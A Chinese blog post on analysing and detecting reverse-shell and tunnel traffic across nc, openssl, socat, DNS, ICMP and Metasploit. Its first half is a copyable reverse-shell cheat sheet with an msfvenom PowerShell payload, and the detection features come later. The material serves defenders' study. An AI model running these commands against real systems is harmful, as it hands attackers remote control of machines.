反弹shell流量分析与检测

news2024/9/30 15:26:36

常用的隧道技术:

网络层:ipv6、Icmp、gre

IPv6隧道:将ipv6报文放入ipv4作为载体进行传输,工具:socat、6tunnel

ICMP隧道:将数据放入ping包中进行传输,工具:icmpsh、PingTunnel

GRE隧道

传输层:TCP隧道、UDP隧道、常规的端口转发。

端口转发:没有端口限制就正常的内网端口转发,有端口限制就本地端口转发 工具:lcx、nc、powercat

SOCKS代理:SOCKS代理可以理解为增强版的lcx。

应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

dns隧道:查询的域名不在dns服务器中,就会访问互联网查询,导致与互联网上恶意的dns服务器进行数据交互通信

被控端常见的反弹shell命令

bash

/bin/bash -l > /dev/tcp/10.90.26.43/4242 0<&1 2>&1

bash -i >& /dev/tcp/10.90.26.43/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.90.26.43/4242; sh <&196 >&196 2>&196

sh -i >& /dev/udp/10.90.26.43/4242 0>&1

nc

nc -e /bin/sh 10.10.10.11 443

telnet

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

Powershell

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

Socat

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

awk

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

php

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'

TCP/UDP隧道

nc原始流量

攻击机:

nc64.exe 121.37.25.244 7777 (不指定端口默认端口为31337)

受害服务器:

ncat -l -p 7777 -v -e /bin/bash

初次连接:

在靶机上输入ls、会被编码为16进制放入data进行传输

服务器会将结果用16进制返回,整个payload都是明文传输

特征

明文传输、可直接根据命令检测

nc-ssl加密

如果加上-v ssl选项,使用ssl加密协议传输

靶机:

nc64.exe 121.37.25.244 7777 -v --ssl

服务器:

ncat -l -p 7777 -e /bin/bash -v --sll

服务端生成证书certificate中会设置两个extension字段,其中一个字段会加上ncat注释

Automatically generated by Ncat. See Ncat - Netcat for the 21st Century

特征

含有ncat注释

openssl 加密

使用证书和私钥进行认证

攻击端:

使用openssl生成一个证书,输入后直接回车即可

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl req:调用 OpenSSL 的证书请求(Certificate Request)子命令。

-x509:生成一个自签名证书,而不是证书签名请求(CSR)。X.509 是一种广泛使用的证书标准。

-newkey rsa:4096:生成一个新的 RSA 密钥对,密钥长度为 4096 位。

-keyout key.pem:指定生成的私钥文件的输出文件名为 key.pem。

-out cert.pem:指定生成的自签名证书文件的输出文件名为 cert.pem。

-days 365:指定证书的有效期为 365 天。

-nodes:不对私钥进行加密(即不使用密码保护私钥)。

综合起来,这个命令的作用是生成一个 4096 位的 RSA 密钥对,并使用该密钥对生成一个有效期为 365 天的自签名证书。生成的私钥保存在 key.pem 文件中,证书保存在 cert.pem 文件中,且私钥不受密码保护。

使用证书和秘钥启动一个ssl服务器并监听7777端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 7777

openssl s_server:启动 OpenSSL 的服务器模式。

-quiet:使服务器在运行时保持安静,不输出多余的信息。这个选项可以减少调试信息的输出,只显示必要的错误和警告。

-key key.pem:指定服务器使用的私钥文件。key.pem 是包含私钥的文件路径。

-cert cert.pem:指定服务器使用的证书文件。cert.pem 是包含服务器证书的文件路径。

-port 2333:指定服务器监听的端口号。在这个例子中,服务器会监听 2333 端口

被攻击端:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s; rm /tmp/s

mkfifo /tmp/s:

mkfifo命令用于创建一个命名管道(FIFO)。

/tmp/s是命名管道的路径。

/bin/sh -i < /tmp/s 2>&1:

/bin/sh -i启动一个交互式的Shell。

< /tmp/s将命名管道/tmp/s的内容作为Shell的输入。

2>&1将标准错误(stderr)重定向到标准输出(stdout)。

| openssl s_client -quiet -connect 192.168.0.100:2333:

|管道符号,将前面的命令输出作为后面命令的输入。

openssl s_client是OpenSSL的客户端工具,用于建立SSL/TLS连接。

-quiet选项使输出更简洁。

-connect 192.168.0.100:2333指定要连接的远程服务器和端口(192.168.0.100:2333)。

> /tmp/s:

将OpenSSL客户端的输出重定向到命名管道/tmp/s,这使得Shell的输出通过加密连接发送到远程服务器。

rm /tmp/s:

删除命名管道/tmp/s,清理临时文件。

可以看到数据都被加密了

相比ssl,openssl的Certificate中会有三个extension

使用预共享密钥(PSK)认证

攻击端

openssl rand -hex 48

export LHOST="*"; export LPORT="8888";

export PSK="replacewithgeneratedpskfromabove";

openssl s_server -psk $PSK -nocert -accept $LHOST:$LPORT

生成一个 48 字节的随机数作为预共享密钥 (PSK)。

设置服务器监听的地址和端口,以及预共享密钥。

启动一个 OpenSSL 服务器,使用 PSK 进行身份验证,不使用证书,监听所有网络接口上的 8888 端口。

被控端

Export RHOST="10.60.193.193";

export RPORT="8888";

export PSK="replacewithgeneratedpskfromabove";

export PIPE="/tmp/`openssl rand -hex 4`";

mkfifo $PIPE;

/bin/sh -i < $PIPE 2>&1 | openssl s_client -psk $PSK -connect $RHOST:$RPORT > $PIPE;

rm $PIPE

设置ip、端口、psk

PIPE:使用OpenSSL生成一个随机的十六进制字符串,并将其作为命名管道的名称。

mkfifo $PIPE:在/tmp目录下创建一个命名管道(FIFO)。

/bin/sh -i < $PIPE 2>&1:启动一个交互式Shell,并将其输入和输出重定向到命名管道$PIPE。

openssl s_client -psk $PSK -connect $RHOST:$RPORT:使用OpenSSL的客户端模式,连接到目标主机和端口,并使用预共享密钥进行加密通信。

> $PIPE:将OpenSSL客户端的输出重定向到命名管道$PIPE。

删除之前创建的命名管道,清理临时文件。

可以看到在server hello中无certificate和Server key Exchange

特征

相比ssl,openssl的Certificate中会有三个extension

Socat-ssl加密

攻击端

socat -d -d OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork STDOUT

-d -d: 这两个参数用于启用调试模式。每个 -d 增加一个调试级别,两个 -d 表示更详细的调试信息输出。

OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork:

OPENSSL-LISTEN:4444: 这个部分表示 socat 将在本地的 4444 端口上监听传入的 SSL/TLS 连接。

cert=bind.pem: 指定用于 SSL/TLS 连接的证书文件 bind.pem。这个证书文件包含服务器的公钥和私钥。

verify=0: 这个选项表示不验证客户端的证书。通常在测试或不需要客户端认证的情况下使用。

fork: 这个选项表示每次有新的连接时,socat 会创建一个新的子进程来处理该连接,从而允许同时处理多个连接。

STDOUT: 这个参数表示将接收到的数据输出到标准输出(通常是终端或控制台)。

被控端

socat OPENSSL:10.155.240.165:4444,verify=0 EXEC:/bin/bash

OPENSSL:10.155.240.165:4444,verify=0:

OPENSSL: 指定使用 OpenSSL 协议进行加密连接。

10.155.240.165: 目标 IP 地址。

4444: 目标端口号。

verify=0: 禁用证书验证。这意味着 socat 不会验证目标服务器的 SSL 证书。这在测试或内部网络中可能是可以接受的,但在生产环境中是不安全的。

EXEC:/bin/bash:

EXEC: 指定 socat 在连接建立后执行一个命令。

/bin/bash: 要执行的命令,这里是启动一个 Bash shell。

跟openssl的Certificate的字段一样会有三个extension,无明显特征,和openssl的证书认证一样

特征

无明显特征

DNS隧道

dnscat 反弹shell

特征检测

数据包中含有netcat关键字

dns数据包过大,与正常的域名dns有差异

与互联网中不受信任的dns服务器进行通信

ICMP隧道

正常icmp流量

4次ping长度是一样的,且请求和响应内容都含有abcdefghijklmnopqrstuvwabcdefghi

linux下为!”#$%&’()+,-./01234567

使用icmpsh工具进行反弹shell

特征检测

检测同一来源的ICMP数据包的流量,一个正常的icmp命令每秒最多发送4个数据包。

注意那些payload大于64bit的icmp数据包。以及同一源目相近时间段icmp的包长是否频繁变化

寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP数据包。

检查ICMP数据包的协议标签。例如:icmptunnel会在所有的icmp payload前面添加”TUNL“标记来标识隧道

MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

msfvenom 生成的payload如下

powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.90.26.41';$p='6666';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};

Cobalt Strike 反弹shell

反弹shell检测

硬编码特征

1、原始流量的硬编码强特征

命令行提示符

在交互式命令下,受害者机器会把命令行提示符一起往外发

控制器声明

在打开交互型shell连接的时候会有交互的控制器声明

比如使用powershell进行反弹shell,在打开交互型shell连接的时候会有交互的控制器声明

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

其他声明:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Linux

dns服务器、证书信任度

2、检测证书生成的有效时间、证书生成和建立连接的时间是否很短

用于检测利用dns进行反弹shell

重定向进程关联监控

检测Shell的标准输入、标准输出是否被重定向到Socket

用于检测 bash -i >& /dev/tcp/10.90.26.43/4242 0>&1 此类交互式反弹shell

tty1、pts/0表示该进程是一个交互式shell,0u,1u,2u分别代表标准输入,标准输出和标准错误输出 ,都指向tty1交互式终端,通过检测交互式shell进程的NODE是否为TCP来判断是否是反弹shell

结合进程网络相关联

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s;

此类反弹shell通过管道、伪终端进行中转,没有直接将shell的输入输出重定向到socket

可通过进程数、进程与网络相关联进行检出,即将交互式shell、管通符、输入输出有关的进程,以及对应的父子进程列出来,与通信进程进行相关联

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2087656.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

日本麻将入门(二):牌效率【基础】

基础牌效率 引入 日麻&#xff0c;又称立直麻将。日麻的水平本质上与你是否会立直有很大关系&#xff08;参见常用役种&#xff1a;立直&#xff1a;优点&#xff09;&#xff0c;但立直最大的缺点就是不能副露&#xff0c;导致我们只能通过自己的摸切来完成听牌形的组成。在…

20. 筛选dataframe

哈喽&#xff0c;大家好&#xff0c;我是木头左&#xff01; 筛选条件 基本筛选 要筛选DataFrame&#xff0c;首先需要了解筛选条件。Pandas提供了多种筛选条件&#xff0c;包括等于&#xff08;&#xff09;、不等于&#xff08;&#xff01;&#xff09;、大于&#xff08;…

Leetcode Day14排序算法

动态git可以看 :https://leetcode.cn/problems/sort-an-array/solutions/179370/python-shi-xian-de-shi-da-jing-dian-pai-xu-suan-fa/ 选择排序 def selection_sort(nums):n len(nums)for i in range(n):for j in range(i, n):if nums[i] > nums[j]:nums[i], nums[j] …

05.整合Axios+MockJs

1. 前言 作为前后端分离的项目&#xff0c;必不可少的当然是发请求向后端拿数据了&#xff0c; 但是不可能每次等到接口完成我们才开始开发前端&#xff0c;所以使用 mock.js 先模拟后端接口&#xff0c;等后端接口开发完成后&#xff0c;可以无缝衔接&#xff0c;直接替换为真…

EmguCV学习笔记 VB.Net 7.2 特征点检测

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…

(24)(24.6) 基于OSD的参数菜单

文章目录 前言 1 Copter默认屏幕 2 Plane默认屏幕 3 实例 前言 这允许使用 ArduPilot 机载 OSD 和 RC 发射机的杆输入设置和调整参数。还有两个额外的 OSD 屏幕可用&#xff08;OSD5 和 OSD6&#xff09;&#xff0c;每个屏幕有 9 个“插槽”来保存参数。屏幕首先显示一组…

taro ui 小程序at-calendar日历组件自定义样式+选择范围日历崩溃处理

taro ui 日历文档 目录 单选标记时间&#xff1a; 效果&#xff1a; template&#xff1a; data&#xff1a; methods: 日历--范围选择&#xff1a; 效果&#xff1a; template&#xff1a; data&#xff1a; methods&#xff1a; 日历--间隔多选&#xff1a;利用标…

详细分析python中QRCode生成二维码的基本知识(附Demo)

目录 前言1. 基本知识2. Demo3. 彩蛋3.1 文件路径3.2 Image.LANCZOS 前言 以下主要利用python中的QRCode来生成二维码的基本知识 1. 基本知识 简单易用&#xff0c;并且可以生成高质量的二维码图像 支持多种自定义设置&#xff0c;例如二维码的大小、边框、容错级别、颜色等…

java在项目中实现excel导入导出

一、初识EasyExcel* 1. Apache POI 先说POI&#xff0c;有过报表导入导出经验的同学&#xff0c;应该听过或者使用。 Apache POI是Apache软件基金会的开源函式库&#xff0c;提供跨平台的Java API实现Microsoft Office格式档案读写。但是存在如下一些问题&#xff1a; 1.1 …

C语言阴阳迷宫

目录 开头程序程序的流程图程序游玩的效果下一篇博客要说的东西 开头 大家好&#xff0c;我叫这是我58。 程序 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <Windows.h> enum WASD {W…

【传输层协议】TCP协议(上) {TCP协议段格式;确认应答机制;超时重传机制;连接管理机制:三次握手、四次挥手}

TCP&#xff08;Transmission Control Protocol&#xff09;是一种面向连接的、可靠的、基于字节流的传输层协议&#xff0c;用于在网络上可靠地传输数据。TCP是互联网协议套件&#xff08;TCP/IP&#xff09;中的一个主要协议&#xff0c;它在IP&#xff08;Internet Protocol…

基于STM32开发的智能恒温系统

目录 引言环境准备工作 硬件准备软件安装与配置系统设计 系统架构硬件连接代码实现 系统初始化温度检测与恒温控制OLED显示与状态提示Wi-Fi通信与远程监控应用场景 家庭环境的智能恒温管理实验室或工业环境的精确温度控制常见问题及解决方案 常见问题解决方案结论 1. 引言 智…

VIVADO自定义 IP封装

简介 本章节主要针对VIVAO 2020.2版本做IP自定义封装&#xff0c;其中涉及到IP寄存器读写配置&#xff0c;自定义接口封装等介绍。 IP封装 IP标准自定义步骤一般有创建工程&#xff0c;封装IP&#xff0c;自定义内容&#xff0c;添加自定义库这4个步骤&#xff0c;下面…

探秘紫白洋桔梗花语:勇气、爱情、希望与清晰的象征解读

在缤纷多彩的花卉世界中&#xff0c;紫白洋桔梗宛如一位神秘而优雅的仙子&#xff0c;悄然绽放着独特的魅力。它那淡雅的色彩与别致的花形&#xff0c;令人一见倾心&#xff0c;而其背后蕴含的丰富花语&#xff0c;更是如同隐藏的宝藏一般&#xff0c;等待着我们去细细探寻与解…

蓝花楹花语探秘:从宁静忧郁到等待爱情的深刻寓意

在时光的长河中&#xff0c;有一种花朵宛如梦幻的精灵&#xff0c;每当它绽放之时&#xff0c;那一片绚烂的蓝紫色便如同璀璨的星空倾洒人间&#xff0c;它就是蓝花楹。蓝花楹那独特的身姿和醉人的色彩&#xff0c;仿佛自带一种神秘的魔力&#xff0c;吸引着无数人驻足凝望。而…

vue3+ts+vite+electron+electron-store+electron-builder打包可安装包

yarn create vite yarn add electron yarn add electron-store yarn add electron-builder 新增main.js、preload.js // main.js const { app, BrowserWindow, ipcMain, globalShortcut } require(electron) const path require(path) let store // 我们将在稍后动态导入 el…

Flink优化之--旁路缓存和异步IO

Apache Flink 是一个开源流处理框架&#xff0c;以其高吞吐量、低延迟和事件驱动的处理能力著称。随着大数据和实时处理需求的不断增加&#xff0c;Flink 在许多行业和应用场景中得到了广泛应用&#xff0c;如金融风控、物联网数据处理、实时数据分析等。然而&#xff0c;随着数…

如何学习Linux性能优化?

你是否也曾跟我一样&#xff0c;看了很多书、学了很多Linux性能工具&#xff0c;但在面对Linux性能问题时&#xff0c;还是束手无策&#xff1f;实际上&#xff0c;性能分析和优化始终是大多数软件工程师的一个痛点。但是&#xff0c;面对难题&#xff0c;我们真的就无解了吗&a…

2.11键盘事件

目录 实验原理 实验代码 实验结果 实验原理 简单、常用的键盘事件是等待按键事件&#xff0c;它由 waitKey 函数来实现。无论是刚开始学习 OpenCV&#xff0c;还是使用 OpenCV 进行开发调试&#xff0c;都可以看到waitKey 函数的身影&#xff0c;然而基础的东西往往容易忽略…

[Java]MyBatis轻松拿下

介绍 在业务开发过程中, 都是使用java程序完成数据库的操作, 目前最主流的技术就是MyBatis MyBatis是一款优秀的 持久层 框架&#xff0c;用于简化JDBC的开发。 官网: https://mybatis.org/mybatis-3/zh/index.htmlmybatis是Apache的一个开源项目iBatis, 2010年迁移到了googl…